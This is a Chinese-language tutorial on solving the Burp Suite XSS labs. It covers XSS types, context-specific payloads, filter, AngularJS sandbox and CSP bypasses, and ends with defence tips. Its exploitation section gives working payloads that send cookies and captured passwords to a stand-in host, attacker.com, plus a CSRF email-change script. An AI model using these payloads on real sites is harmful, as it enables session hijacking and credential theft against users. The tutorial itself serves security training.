burpsuite靶场XSS漏洞通关代码解析
字数 1145 2025-08-24 07:48:09
Burp Suite 靶场 XSS 漏洞通关代码解析与教学文档
1. 基础 XSS 漏洞类型与利用
1.1 存储型 XSS (Stored XSS)
漏洞特征:恶意脚本被永久存储在目标服务器上,当其他用户访问受影响页面时执行。
典型 payload:
<script>alert(1)</script>
利用场景:评论区、用户资料等用户输入会被持久化存储的位置。
1.2 反射型 XSS (Reflected XSS)
漏洞特征:恶意脚本从当前 HTTP 请求中立即反射回响应页面中执行。
典型 payload:
<script>alert(1)</script>
利用场景:搜索框、错误消息等将用户输入直接反映在页面中的位置。
1.3 DOM 型 XSS
漏洞特征:通过修改页面的 DOM 环境在客户端执行恶意代码,不涉及服务器端。
常见 sink 点:
document.write()innerHTML- jQuery 选择器
- AngularJS 表达式
2. 不同上下文中的 XSS 利用技术
2.1 HTML 上下文
无编码情况:
<script>alert(1)</script>
闭合标签利用:
"><svg onload=alert(1)>
2.2 属性上下文
闭合属性值:
"onmouseover="alert(1)
href 属性利用:
javascript:alert(1)
2.3 JavaScript 上下文
字符串闭合:
'-alert(1)-'
模板字符串利用:
${alert(1)}
注释绕过:
'-alert(1)//
3. 高级绕过技术
3.1 标签/属性过滤绕过
Fuzz 测试:
- 测试可用标签
- 测试可用事件
- 组合可利用的标签和事件
示例 payload:
<body onresize="print()">
<iframe src="URL" onload=this.style.width='100px'>
3.2 自定义标签利用
利用方式:
<xss id=x onfocus=alert(1) tabindex=1></xss>
触发方式:
location = 'URL#x'
3.3 SVG 标签利用
可用标签:
<svg><a><animate>
示例 payload:
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate></a></svg>
4. AngularJS 沙箱逃逸
4.1 基本逃逸技术
典型 payload:
"-alert(1)}//
4.2 高级沙箱逃逸
payload:
1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
利用点:
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
5. 实战利用技术
5.1 Cookie 窃取
payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
5.2 密码捕获
payload:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://attacker.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
5.3 CSRF 利用
payload:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
6. CSP 绕过技术
6.1 悬挂标记攻击 (Dangling Markup)
payload:
"><button background='//attacker.com?
6.2 CSP 策略修改
payload:
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
6.3 base 标签利用
payload:
<base target='attacker.com'>
7. 防御建议
- 对所有用户输入进行适当的编码/转义
- 实施严格的 CSP 策略
- 使用安全的 API (如 textContent 代替 innerHTML)
- 对敏感操作实施 CSRF 保护
- 定期进行安全测试和代码审查
8. 总结
本教学文档涵盖了从基础到高级的 XSS 漏洞利用技术,包括:
- 不同类型 XSS 的利用方式
- 各种上下文中的 payload 构造
- 高级绕过技术
- 实战利用场景
- CSP 绕过方法
理解这些技术不仅有助于渗透测试,更能帮助开发者构建更安全的 Web 应用。